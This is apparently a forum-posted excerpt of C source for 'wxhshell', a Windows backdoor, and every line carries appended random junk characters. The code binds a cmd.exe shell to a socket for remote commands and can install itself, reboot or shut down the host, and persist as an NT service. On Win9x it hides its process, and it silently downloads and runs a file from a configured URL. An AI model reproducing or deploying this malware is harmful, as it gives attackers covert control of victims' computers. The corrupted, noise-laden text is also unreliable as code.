  // 帮助 ,=l7:n  
  case '?': { -eX5z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i+gQE!  
    break; @xB*KyUW  
  } /="~gq@  
  // 安装  A^p[52`  
  case 'i': { xhRngHU\z<  
    if(Install()) wC5ee:u C%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$Vz2Fzx  
    else OK\A</8r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <n(*Xak{a  
    break; |Pg@M  
    } D$T%\ P  
  // 卸载 e^O(e  
  case 'r': { +wkjS r`e  
    if(Uninstall()) "_`F\DGAZu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA[0mkC?$  
    else &gjF4~W]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); up'Tit  
    break; 4Z/f@ZD  
    } +Z85HY{  
  // 显示 wxhshell 所在路径 ;&ASkI  
  case 'p': { :H c0b=  
    char svExeFile[MAX_PATH]; HeG)/W?r  
    strcpy(svExeFile,"\n\r"); i\dc>C ;  
      strcat(svExeFile,ExeFile); \|K;-pL  
        send(wsh,svExeFile,strlen(svExeFile),0); z`\F@pX%wC  
    break; $ibuWb"a  
    } yV"ZRrjO'Z  
  // 重启 $jg*pmR-  
  case 'b': { {uHU]6d3qy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O9r>E3-q  
    if(Boot(REBOOT)) b?Ki;[+O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +=:#wzK@  
    else { 8HP6+c%  
    closesocket(wsh); Op_RzZP`  
    ExitThread(0); 3"P }n  
    } }X=[WCK U  
    break; Ry|!pV  
    } LGl2$#x  
  // 关机 7P9=)$(EH  
  case 'd': { xe*aC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PK"c4>q  
    if(Boot(SHUTDOWN)) #b~JDO(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<j.xd7  
    else { ;v$4$D]L  
    closesocket(wsh); R%'^gFk 8  
    ExitThread(0); phgm0D7  
    } !U5Wr+83  
    break; q#8 [  
    } )LyojwY_g  
  // 获取shell PpgP&;z4  
  case 's': { oIefw:FE,a  
    CmdShell(wsh); m o:D9  
    closesocket(wsh); [3!~PR]  
    ExitThread(0); o9H^?Rut  
    break; WoBo9aR  
  } |JVk&8 ?8  
  // 退出 rW0FA  
  case 'x': { }5 (Ho$S(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oj^,m.R  
    CloseIt(wsh); +mp@b942*  
    break; DuOG {  
    } QI3Nc8t_2  
  // 离开 W]5USFan  
  case 'q': { Ck!VV2U#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ) lZp9O  
    closesocket(wsh); /=gOa\k|p  
    WSACleanup(); sUU{fNC6|  
    exit(1); R<=zCE`:  
    break; .;*s`t  
        } 0eS)&GdR  
  } %!PM&zV  
  } $]A/ o(  
yd?x= |  
  // 提示信息 F  3'9u#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fOMvj%T@2  
} E,f>1meN=  
  } n8D xB@DI  
}sOwp}FV8X  
  return; [NTtz <i@  
} T9879[ZU\  
4`8<   
// shell模块句柄 [ U w i  
int CmdShell(SOCKET sock) %Pqf{*d8  
{ 4X *>H  
STARTUPINFO si; _z1(y}u}  
ZeroMemory(&si,sizeof(si));  BouTcC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h@LHRMO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 78/N   
PROCESS_INFORMATION ProcessInfo; ;j)FnY=:-  
char cmdline[]="cmd"; Y "VY%S^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ l8jRT=R  
  return 0; J:kmqk!  
} oI#a_/w  
Y)}Rb6qGW  
// 自身启动模式 eVM/uDD  
int StartFromService(void) *<u2:=_s  
{ /mK?E5H'r1  
typedef struct aN,M64F  
{ G2^et$<{uU  
  DWORD ExitStatus; VV9_`myN7  
  DWORD PebBaseAddress; w/IZDMBf|  
  DWORD AffinityMask; jr`Ess  
  DWORD BasePriority; _BDK`D  
  ULONG UniqueProcessId; q]\g,a  
  ULONG InheritedFromUniqueProcessId;  *tAg*$  
}   PROCESS_BASIC_INFORMATION; @_LN3zP  
"hdvHUz  
PROCNTQSIP NtQueryInformationProcess; _{ZqO;[u  
Y!T %cTK)a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r]0 lo-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EMc;^ d  
s|NjT  
  HANDLE             hProcess; m-jHze`D3  
  PROCESS_BASIC_INFORMATION pbi; A.5i"Ci[ie  
3q?\r` a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =2 *rA'im  
  if(NULL == hInst ) return 0; 0pSmj2/,.  
%.z,+Zz?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {b@KYR9K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j6g[N4xr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OGY"<YH6  
#-GJ&m8  
  if (!NtQueryInformationProcess) return 0; N72Yq)(  
"hQ_sgz[Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i:l<C  
  if(!hProcess) return 0; ts8+V<g  
hbc uK&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M BXBog7U  
_kY#D;`:r  
  CloseHandle(hProcess); {Ixg2=E\  
.T*GN|@$!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E[^ {w  
if(hProcess==NULL) return 0; & V)6!,rb  
Z'k|u4ZC  
HMODULE hMod; s<]&*e&}?  
char procName[255]; /CIh2 ]#e  
unsigned long cbNeeded; x[Wwq=~  
7jJbo]&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \))=gu)I  
vhb)2n  
  CloseHandle(hProcess); x{&w?ng  
w2xG_q  
if(strstr(procName,"services")) return 1; // 以服务启动 u@3y&b  
A?*o0I  
  return 0; // 注册表启动 ^xZ e2@  
} $v b,P(  
W@2vjz  
// 主模块 e9E\% p  
int StartWxhshell(LPSTR lpCmdLine) l)-Mq@V  
{ @K:N,@yq  
  SOCKET wsl; 1>Q'R  
BOOL val=TRUE; |G/7_+J6  
  int port=0; ;2m<CSv!D  
  struct sockaddr_in door; :ah 5`nmPO  
[Ym   
  if(wscfg.ws_autoins) Install(); Rl6\#C*  
Vj!rT <@  
port=atoi(lpCmdLine); wP/A^Rs  
Eaqca{%/^  
if(port<=0) port=wscfg.ws_port; ?J,AB #+  
j.:h5Y^N  
  WSADATA data; x3zj ?-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'r\ V. 4  
178Mb\8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oi} T2I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Sp -w?kM  
  door.sin_family = AF_INET; nP UqMn'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k'X;ruQ:tF  
  door.sin_port = htons(port); .6~`Ubr}E  
**>/}.%?K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /xJqJ_70X  
closesocket(wsl);  LZ~"VV^  
return 1; $M:3XAN  
} Em7 WDu0  
J# kl 7  
  if(listen(wsl,2) == INVALID_SOCKET) { RL[E X5U  
closesocket(wsl); .O0O-VD+a  
return 1; x|KWyfOS  
} 3u33a"nL8  
  Wxhshell(wsl); gip/(/NX  
  WSACleanup(); |~<N -~.C  
rbZ[!LA  
return 0; C;~*pMAYe  
$Q+s/4\  
} wLV~F[:  
~l~Tk6EM  
// 以NT服务方式启动 B[9 (FRX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PNeh#PI 6)  
{ 0W^dhYO  
DWORD   status = 0; {k(eNr,  
  DWORD   specificError = 0xfffffff; A*tKF&U5  
2ij# H ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w-$[>R[hw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1=2^90  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u z\0cX_  
  serviceStatus.dwWin32ExitCode     = 0; q/1Or;iK  
  serviceStatus.dwServiceSpecificExitCode = 0; T5O _LCIws  
  serviceStatus.dwCheckPoint       = 0; NcM>{{8  
  serviceStatus.dwWaitHint       = 0; bY~@}gC**@  
rx:z#"?I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bqx0d=Z~[  
  if (hServiceStatusHandle==0) return; l?*r5[O>n  
ZlKw_Sq:  
status = GetLastError(); W9zE{)Sc~  
  if (status!=NO_ERROR) iK_c.b  
{ 5y4u5Tm-%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y/c%+ Ca/  
    serviceStatus.dwCheckPoint       = 0; kWj \x|E  
    serviceStatus.dwWaitHint       = 0; $ex!!rqN|  
    serviceStatus.dwWin32ExitCode     = status; {0YAzZ7  
    serviceStatus.dwServiceSpecificExitCode = specificError; N{d@^Yj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6*@yE  
    return; Vga-@  
  } %}>dqUyQ  
/Y^8SO4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |vFj*XU  
  serviceStatus.dwCheckPoint       = 0; `3q;~ 9  
  serviceStatus.dwWaitHint       = 0; DW(~Qdk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0F;,O3Q  
} 1f (DU4h  
] q~<=   
// 处理NT服务事件,比如:启动、停止 qO`qJ/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +7}iu/B!9  
{ h?,\(KjP#  
switch(fdwControl) hF&}lPVtv  
{ P(omfD4  
case SERVICE_CONTROL_STOP: `xKFqx:e  
  serviceStatus.dwWin32ExitCode = 0; _2vd`k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H' J|U|  
  serviceStatus.dwCheckPoint   = 0; %1:chvS  
  serviceStatus.dwWaitHint     = 0; 'q%%m/,VPQ  
  { Ps R>V)L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cef:tdk7  
  } #< CIFVH  
  return; BC\S/5~k  
case SERVICE_CONTROL_PAUSE: l!IKUzt)7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 99iUOw c  
  break; hh.Q\qhubB  
case SERVICE_CONTROL_CONTINUE: #-cTc&$O;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *9gD*AnM,  
  break; gY9\o#)<  
case SERVICE_CONTROL_INTERROGATE: +'03>!V  
  break; K6pR8z*?  
}; g.Hio.fVd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R21~Q:b !  
} u@.>WHQN  
J^3H7 ]  
// 标准应用程序主函数 PK rek  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $R^lo $(  
{ #2%([w  
M2T|"Q"=  
// 获取操作系统版本 [B6DC`M  
OsIsNt=GetOsVer(); qs=tJ ^<<o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (B`sQw@tu  
s\0Ko1  
  // 从命令行安装 @%W]".*'}  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yr&Ka:  
@C.GKeM*  
  // 下载执行文件 Nw](".  
if(wscfg.ws_downexe) { C9KWa*3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S_8r\B[>P  
  WinExec(wscfg.ws_filenam,SW_HIDE); &/ ouW'oP  
} !E& MBAKy  
=l`OHTg  
if(!OsIsNt) { W8aU "_  
// 如果时win9x,隐藏进程并且设置为注册表启动 M$&>5n7  
HideProc(); KAb(NZK  
StartWxhshell(lpCmdLine); ,{<p  
} d\]O'U)s  
else Bh`IXu  
  if(StartFromService()) R,Ml&4pZ}  
  // 以服务方式启动 if~rp-\P  
  StartServiceCtrlDispatcher(DispatchTable); XT||M)#  
else j Selop>N  
  // 普通方式启动 L0&S0HG   
  StartWxhshell(lpCmdLine); M#0 @X  
MEU[%hty_  
return 0; &:!ij  
}
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只看该作者 1 发表于: 2006-10-10
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